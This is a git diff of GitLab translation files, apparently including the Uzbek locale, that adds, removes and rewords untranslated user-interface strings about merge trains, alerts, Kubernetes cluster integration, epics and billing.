msgid "You'll be signed out from your current account automatically."
msgstr ""
@@ -27991,7 +28811,7 @@ msgstr ""
msgid "Your Default Notification Email will be used for account notifications if a %{openingTag}group-specific email address%{closingTag} is not set."
msgstr ""
-msgid "Your DevOps Score gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
+msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. View how you compare with other organizations, discover features you are not using, and learn best practices through blog posts and white papers."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -28108,6 +28928,9 @@ msgstr ""
msgid "Your instance has %{remaining_user_count} users remaining of the %{total_user_count} included in your subscription. You can add more users than the number included in your license, and we will include the overage in your next bill."
msgstr ""
+msgid "Your instance has exceeded your subscription's licensed user count."
+msgstr ""
+
msgid "Your instance is approaching its licensed user count"
msgstr ""
@@ -28236,6 +29059,9 @@ msgstr ""
msgid "among other things"
msgstr ""
+msgid "and"
+msgstr ""
+
msgid "any-approver for the merge request already exists"
msgstr ""
@@ -28538,12 +29364,6 @@ msgstr ""
msgid "committed"
msgstr ""
-msgid "confidentiality|You are going to turn off the confidentiality. This means <strong>everyone</strong> will be able to see and leave a comment on this issue."
-msgstr ""
-
-msgid "confidentiality|You are going to turn on the confidentiality. This means that only team members with <strong>at least Reporter access</strong> are able to see and leave comments on the issue."
-msgstr ""
-
msgid "connecting"
msgstr ""
@@ -28700,6 +29520,11 @@ msgstr ""
msgid "from"
msgstr ""
+msgid "from %d job"
+msgid_plural "from %d jobs"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "group"
msgstr ""
@@ -28745,9 +29570,6 @@ msgstr ""
msgid "in project %{link_to_project}"
msgstr ""
-msgid "index"
-msgstr ""
-
msgid "instance completed"
msgid_plural "instances completed"
msgstr[0] ""
@@ -28789,6 +29611,9 @@ msgstr ""
msgid "is not allowed. Try again with a different email address, or contact your GitLab admin."
msgstr ""
+msgid "is not allowed. We do not currently support project-level iterations"
+msgstr ""
+
msgid "is not an email you own"
msgstr ""
@@ -28938,9 +29763,15 @@ msgstr ""
msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
msgstr ""
+msgid "mrWidget|A new merge train has started and this merge request is the first of the queue."
+msgstr ""
+
msgid "mrWidget|Added to the merge train by"
msgstr ""
+msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
+msgstr ""
+
msgid "mrWidget|Allows commits from members who can merge to the target branch"
msgstr ""
@@ -28953,6 +29784,9 @@ msgstr ""
msgid "mrWidget|An error occurred while submitting your approval."
msgstr ""
+msgid "mrWidget|Approval is optional"
+msgstr ""
+
msgid "mrWidget|Approval password is invalid."
msgstr ""
@@ -29025,9 +29859,6 @@ msgstr ""
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
-msgid "mrWidget|In the merge train at position %{mergeTrainPosition}"
-msgstr ""
-
msgid "mrWidget|Jump to first unresolved thread"
msgstr ""
@@ -29061,12 +29892,6 @@ msgstr ""
msgid "mrWidget|More information"
msgstr ""
-msgid "mrWidget|No approval required"
-msgstr ""
-
-msgid "mrWidget|No approval required; you can still approve"
-msgstr ""
-
msgid "mrWidget|Open in Web IDE"
msgstr ""
@@ -29148,19 +29973,19 @@ msgstr ""
msgid "mrWidget|There are merge conflicts"
msgstr ""
-msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
+msgid "mrWidget|This action will add the merge request to the merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request failed to be merged automatically"
+msgid "mrWidget|This action will start a merge train when pipeline %{pipelineLink} succeeds."
msgstr ""
-msgid "mrWidget|This merge request is in the process of being merged"
+msgid "mrWidget|This feature merges changes from the target branch to the source branch. You cannot use this feature since the source branch is protected."
msgstr ""
-msgid "mrWidget|This merge request will be added to the merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request failed to be merged automatically"
msgstr ""
-msgid "mrWidget|This merge request will start a merge train when pipeline %{linkStart}#%{pipelineId}%{linkEnd} succeeds."
+msgid "mrWidget|This merge request is in the process of being merged"
msgstr ""
msgid "mrWidget|This project is archived, write access has been disabled"
@@ -29372,6 +30197,9 @@ msgstr ""
msgid "quick actions"
msgstr ""
+msgid "recent activity"
+msgstr ""
+
msgid "register"
msgstr ""
@@ -29416,9 +30244,6 @@ msgstr ""
msgid "satisfied"
msgstr ""
-msgid "score"
-msgstr ""
-
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -29536,6 +30361,9 @@ msgstr ""
msgid "this document"
msgstr ""
+msgid "time summary"
+msgstr ""
+
msgid "to help your contributors communicate effectively!"
msgstr ""
@@ -29554,6 +30382,9 @@ msgstr ""
msgid "triggered"
msgstr ""
+msgid "two-factor authentication settings"
+msgstr ""
+
msgid "unicode domains should use IDNA encoding"
msgstr ""
@@ -29617,6 +30448,9 @@ msgstr ""
msgid "vulnerability|Add comment & dismiss"
msgstr ""
+msgid "vulnerability|Add comment and dismiss"
+msgstr ""
+
msgid "vulnerability|Dismiss vulnerability"
msgstr ""
diff --git a/locale/uz_UZ/gitlab.po b/locale/uz_UZ/gitlab.po
index 56157dfb709..e654b51474b 100644
--- a/locale/uz_UZ/gitlab.po
+++ b/locale/uz_UZ/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: uz\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2020-08-06 13:41\n"
+"PO-Revision-Date: 2020-09-04 23:04\n"
msgid " %{start} to %{end}"
msgstr ""
@@ -56,13 +56,13 @@ msgstr[1] ""
msgid " or "
msgstr ""
-msgid " or <!merge request id>"
+msgid " or %{emphasisStart}!merge request id%{emphasisEnd}"
msgstr ""
-msgid " or <#issue id>"
+msgid " or %{emphasisStart}#issue id%{emphasisEnd}"
msgstr ""
-msgid " or <&epic id>"
+msgid " or %{emphasisStart}&epic id%{emphasisEnd}"
msgstr ""
msgid " or references (e.g. path/to/project!merge_request_id)"
@@ -71,6 +71,9 @@ msgstr ""
msgid "\"%{path}\" did not exist on \"%{ref}\""
msgstr ""
+msgid "\"el\" parameter is required for createInstance()"
+msgstr ""
+
msgid "%d Scanned URL"
msgid_plural "%d Scanned URLs"
msgstr[0] ""
@@ -297,6 +300,9 @@ msgstr[1] ""
msgid "%{actionText} & %{openOrClose} %{noteable}"
msgstr ""
+msgid "%{address} is an invalid IP address range"
+msgstr ""
+
msgid "%{author_link} wrote:"
msgstr ""
@@ -333,6 +339,9 @@ msgstr ""
msgid "%{cores} cores"
msgstr ""
+msgid "%{count} %{scope} for term '%{term}'"
+msgstr ""
+
msgid "%{count} LOC/commit"
msgstr ""
@@ -389,6 +398,9 @@ msgstr ""
msgid "%{description}- Sentry event: %{errorUrl}- First seen: %{firstSeen}- Last seen: %{lastSeen} %{countLabel}: %{count}%{userCountLabel}: %{userCount}"
msgstr ""
+msgid "%{due_date} (Past due)"
+msgstr ""
+
msgid "%{duration}ms"
msgstr ""
@@ -416,7 +428,7 @@ msgstr ""
msgid "%{firstMilestoneName} + %{numberOfOtherMilestones} more"
msgstr ""
-msgid "%{global_id} is not a valid id for %{expected_type}."
+msgid "%{global_id} is not a valid ID for %{expected_type}."
msgstr ""
msgid "%{group_docs_link_start}Groups%{group_docs_link_end} allow you to manage and collaborate across multiple projects. Members of a group have access to all of its projects."
@@ -503,9 +515,6 @@ msgstr ""
msgid "%{level_name} is not allowed since the fork source project has lower visibility."
msgstr ""
-msgid "%{lineOneStart}Drag and drop to upload your designs%{lineOneEnd} or %{linkStart}click to upload%{linkEnd}."
-msgstr ""
-
msgid "%{link_start}Learn more%{link_end} about what information is shared with GitLab Inc."
msgstr ""
@@ -524,6 +533,9 @@ msgstr ""
msgid "%{loadingIcon} Started"
msgstr ""
+msgid "%{location} is missing required keys: %{keys}"
+msgstr ""
+
msgid "%{lock_path} is locked by GitLab User %{lock_user_id}"
msgstr ""
@@ -533,6 +545,18 @@ msgstr ""
msgid "%{mergeLength}/%{usersLength} can merge"
msgstr ""
+msgid "%{message} showing first %{warnings_displayed}"
+msgstr ""
+
+msgid "%{milestone_name} (Past due)"
+msgstr ""
+
+msgid "%{milestone} (expired)"
+msgstr ""
+
+msgid "%{milliseconds}ms"
+msgstr ""
+
msgid "%{mrText}, this issue will be closed automatically."
msgstr ""
@@ -645,6 +669,9 @@ msgstr ""
msgid "%{retryButtonStart}Try again%{retryButtonEnd} or %{newFileButtonStart}attach a new file%{newFileButtonEnd}"
msgstr ""
+msgid "%{seconds}s"
+msgstr ""
+
msgid "%{securityScanner} is not enabled for this project. %{linkStart}More information%{linkEnd}"
msgid_plural "%{securityScanner} are not enabled for this project. %{linkStart}More information%{linkEnd}"
msgstr[0] ""
@@ -670,6 +697,9 @@ msgstr ""
msgid "%{size} bytes"
msgstr ""
+msgid "%{sourceBranch} into %{targetBranch}"
+msgstr ""
+
msgid "%{spammable_titlecase} was submitted to Akismet successfully."
msgstr ""
@@ -685,6 +715,9 @@ msgstr ""
msgid "%{state} epics"
msgstr ""
+msgid "%{strongStart}Deletes%{strongEnd} source branch"
+msgstr ""
+
msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
msgstr ""
@@ -758,6 +791,9 @@ msgstr ""
msgid "%{totalWeight} total weight"
msgstr ""
+msgid "%{total_warnings} warning(s) found:"
+msgstr ""
+
msgid "%{total} open issue weight"
msgstr ""
@@ -791,6 +827,9 @@ msgstr ""
msgid "%{webhooks_link_start}%{webhook_type}%{link_end} enable you to send notifications to web applications in response to events in a group or project. We recommend using an %{integrations_link_start}integration%{link_end} in preference to a webhook."
msgstr ""
+msgid "&lt; 1 hour"
+msgstr ""
+
msgid "&lt;no name set&gt;"
msgstr ""
@@ -800,7 +839,22 @@ msgstr ""
msgid "&lt;project name&gt;"
msgstr ""
-msgid "'%{data}' is invalid at '%{data_pointer}'. Should be '%{schema}' due to schema definition at '%{schema_pointer}'"
+msgid "'%{data}' at %{location} does not match format: %{format}"
+msgstr ""
+
+msgid "'%{data}' at %{location} does not match pattern: %{pattern}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is invalid: error_type=%{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not of type: %{type}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not one of: %{enum}"
+msgstr ""
+
+msgid "'%{data}' at %{location} is not: %{const}"
msgstr ""
msgid "'%{level}' is not a valid visibility level"
@@ -844,6 +898,9 @@ msgstr ""
msgid "(line: %{startLine})"
msgstr ""
+msgid "(max size 15 MB)"
+msgstr ""
+
msgid "(removed)"
msgstr ""
@@ -1042,15 +1099,6 @@ msgstr ""
msgid ":%{startLine} to %{endLine}"
msgstr ""
-msgid "< 1 hour"
-msgstr ""
-
-msgid "<project name>"
-msgstr ""
-
-msgid "<strong>Deletes</strong> source branch"
-msgstr ""
-
msgid "A 'Runner' is a process which runs a job. You can set up as many Runners as you need."
msgstr ""
@@ -1114,7 +1162,7 @@ msgstr ""
msgid "A merge request approval is required when a security report contains a new vulnerability of high, critical, or unknown severity."
msgstr ""
-msgid "A merge request approval is required when the license compliance report contains a blacklisted license."
+msgid "A merge request approval is required when the license compliance report contains a denied license."
msgstr ""
msgid "A new Auto DevOps pipeline has been created, go to %{pipelines_link_start}Pipelines page%{pipelines_link_end} for details"
@@ -1132,6 +1180,9 @@ msgstr ""
msgid "A new impersonation token has been created."
msgstr ""
+msgid "A non-confidential epic cannot be assigned to a confidential parent epic"
+msgstr ""
+
msgid "A plain HTML site that uses Netlify for CI/CD instead of GitLab, but still with all the other great GitLab features."
msgstr ""
@@ -1234,6 +1285,9 @@ msgstr ""
msgid "Access forbidden. Check your access level."
msgstr ""
+msgid "Access requests"
+msgstr ""
+
msgid "Access to '%{classification_label}' not allowed"
msgstr ""
@@ -1345,6 +1399,9 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
+msgid "Activate user activity analysis"
+msgstr ""
+
msgid "Active"
msgstr ""
@@ -1377,12 +1434,6 @@ msgstr[1] ""
msgid "Add %{linkStart}assets%{linkEnd} to your Release. GitLab automatically includes read-only assets, like source code and release evidence."
msgstr ""
-msgid "Add .gitlab-ci.yml to enable or configure SAST"
-msgstr ""
-
-msgid "Add .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
-msgstr ""
-
msgid "Add CHANGELOG"
msgstr ""
@@ -1497,6 +1548,9 @@ msgstr ""
msgid "Add comment now"
msgstr ""
+msgid "Add comment to design"
+msgstr ""
+
msgid "Add deploy freeze"
msgstr ""
@@ -1509,6 +1563,9 @@ msgstr ""
msgid "Add environment"
msgstr ""
+msgid "Add existing confidential %{issuableType}"
+msgstr ""
+
msgid "Add header and footer to emails. Please note that color settings will only be applied within the application interface"
msgstr ""
@@ -1521,6 +1578,9 @@ msgstr ""
msgid "Add italic text"
msgstr ""
+msgid "Add key"
+msgstr ""
+
msgid "Add label(s)"
msgstr ""
@@ -1800,6 +1860,9 @@ msgstr ""
msgid "AdminSettings|Select a template"
msgstr ""
+msgid "AdminSettings|Service Templates will soon be deprecated."
+msgstr ""
+
msgid "AdminSettings|Service template allows you to set default values for integrations"
msgstr ""
@@ -1815,6 +1878,9 @@ msgstr ""
msgid "AdminSettings|The required pipeline configuration can be selected from the %{code_start}gitlab-ci%{code_end} directory inside of the configured %{link_start}instance template repository%{link_end} or from GitLab provided configurations."
msgstr ""
+msgid "AdminSettings|Try using the latest version of Integrations instead."
+msgstr ""
+
msgid "AdminSettings|When creating a new environment variable it will be protected by default."
msgstr ""
@@ -2042,6 +2108,9 @@ msgstr[1] ""
msgid "AlertManagement|Acknowledged"
msgstr ""
+msgid "AlertManagement|Activity feed"
+msgstr ""
+
msgid "AlertManagement|Alert"
msgstr ""
@@ -2072,7 +2141,7 @@ msgstr ""
msgid "AlertManagement|Authorize external service"
msgstr ""
-msgid "AlertManagement|Create issue"
+msgid "AlertManagement|Create incident"
msgstr ""
msgid "AlertManagement|Critical"
@@ -2129,9 +2198,6 @@ msgstr ""
msgid "AlertManagement|Opsgenie is enabled"
msgstr ""
-msgid "AlertManagement|Overview"
-msgstr ""
-
msgid "AlertManagement|Please try again."
msgstr ""
@@ -2144,6 +2210,9 @@ msgstr ""
msgid "AlertManagement|Resolved"
msgstr ""
+msgid "AlertManagement|Runbook"
+msgstr ""
+
msgid "AlertManagement|Service"
msgstr ""
@@ -2186,16 +2255,13 @@ msgstr ""
msgid "AlertManagement|Triggered"
msgstr ""
-msgid "AlertManagement|Unassigned"
-msgstr ""
-
msgid "AlertManagement|Unknown"
msgstr ""
msgid "AlertManagement|View alerts in Opsgenie"
msgstr ""
-msgid "AlertManagement|View issue"
+msgid "AlertManagement|View incident"
msgstr ""
msgid "AlertManagement|You have enabled the Opsgenie integration. Your alerts will be visible directly in Opsgenie."
@@ -2225,7 +2291,7 @@ msgstr ""
msgid "AlertSettings|Authorization key"
msgstr ""
-msgid "AlertSettings|Authorization key has been successfully reset"
+msgid "AlertSettings|Authorization key has been successfully reset. Please save your changes now."
msgstr ""
msgid "AlertSettings|Copy"
@@ -2324,6 +2390,9 @@ msgstr ""
msgid "All environments"
msgstr ""
+msgid "All epics"
+msgstr ""
+
msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
msgstr ""
@@ -2471,6 +2540,9 @@ msgstr ""
msgid "An %{link_start}alert%{link_end} with the same fingerprint is already open. To change the status of this alert, resolve the linked alert."
msgstr ""
+msgid "An administrator changed the password for your GitLab account on %{link_to}."
+msgstr ""
+
msgid "An alert has been triggered in %{project_path}."
msgstr ""
@@ -2537,6 +2609,9 @@ msgstr ""
msgid "An error occurred while committing your changes."
msgstr ""
+msgid "An error occurred while creating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while decoding the file."
msgstr ""
@@ -2609,9 +2684,18 @@ msgstr ""
msgid "An error occurred while fetching the Service Desk address."
msgstr ""
+msgid "An error occurred while fetching the board issues. Please reload the page."
+msgstr ""
+
+msgid "An error occurred while fetching the board lists. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the board lists. Please try again."
msgstr ""
+msgid "An error occurred while fetching the board swimlanes. Please reload the page."
+msgstr ""
+
msgid "An error occurred while fetching the builds."
msgstr ""
@@ -2753,13 +2837,16 @@ msgstr ""
msgid "An error occurred while retrieving diff"
msgstr ""
-msgid "An error occurred while saving LDAP override status. Please try again."
+msgid "An error occurred while retrieving diff files"
msgstr ""
-msgid "An error occurred while saving assignees"
+msgid "An error occurred while retrieving projects."
msgstr ""
-msgid "An error occurred while saving the approval settings"
+msgid "An error occurred while saving LDAP override status. Please try again."
+msgstr ""
+
+msgid "An error occurred while saving assignees"
msgstr ""
msgid "An error occurred while saving the template. Please check if the template exists."
@@ -2786,12 +2873,18 @@ msgstr ""
msgid "An error occurred while updating the comment"
msgstr ""
+msgid "An error occurred while updating the list. Please try again."
+msgstr ""
+
msgid "An error occurred while validating group path"
msgstr ""
msgid "An error occurred while validating username"
msgstr ""
+msgid "An error occurred. Please sign in again."
+msgstr ""
+
msgid "An error occurred. Please try again."
msgstr ""
@@ -2870,6 +2963,9 @@ msgstr ""
msgid "Any Author"
msgstr ""
+msgid "Any Status"
+msgstr ""
+
msgid "Any branch"
msgstr ""
@@ -3085,6 +3181,9 @@ msgstr ""
msgid "April"
msgstr ""
+msgid "Architecture not found for OS"
+msgstr ""
+
msgid "Archive"
msgstr ""
@@ -3097,6 +3196,9 @@ msgstr ""
msgid "Archived"
msgstr ""
+msgid "Archived in this version"
+msgstr ""
+
msgid "Archived project! Repository and other project resources are read only"
msgstr ""
@@ -3112,9 +3214,6 @@ msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
msgstr ""
-msgid "Are you setting up GitLab for a company?"
-msgstr ""
-
msgid "Are you sure that you want to archive this project?"
msgstr ""
@@ -3223,7 +3322,7 @@ msgstr ""
msgid "Are you sure? Removing this GPG key does not affect already signed commits."
msgstr ""
-msgid "Are you sure? The device will be signed out of GitLab."
+msgid "Are you sure? The device will be signed out of GitLab and all remember me tokens revoked."
msgstr ""
msgid "Are you sure? This will invalidate your registered applications and U2F devices."
@@ -3235,9 +3334,6 @@ msgstr ""
msgid "Artifact"
msgstr ""
-msgid "Artifact ID"
-msgstr ""
-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
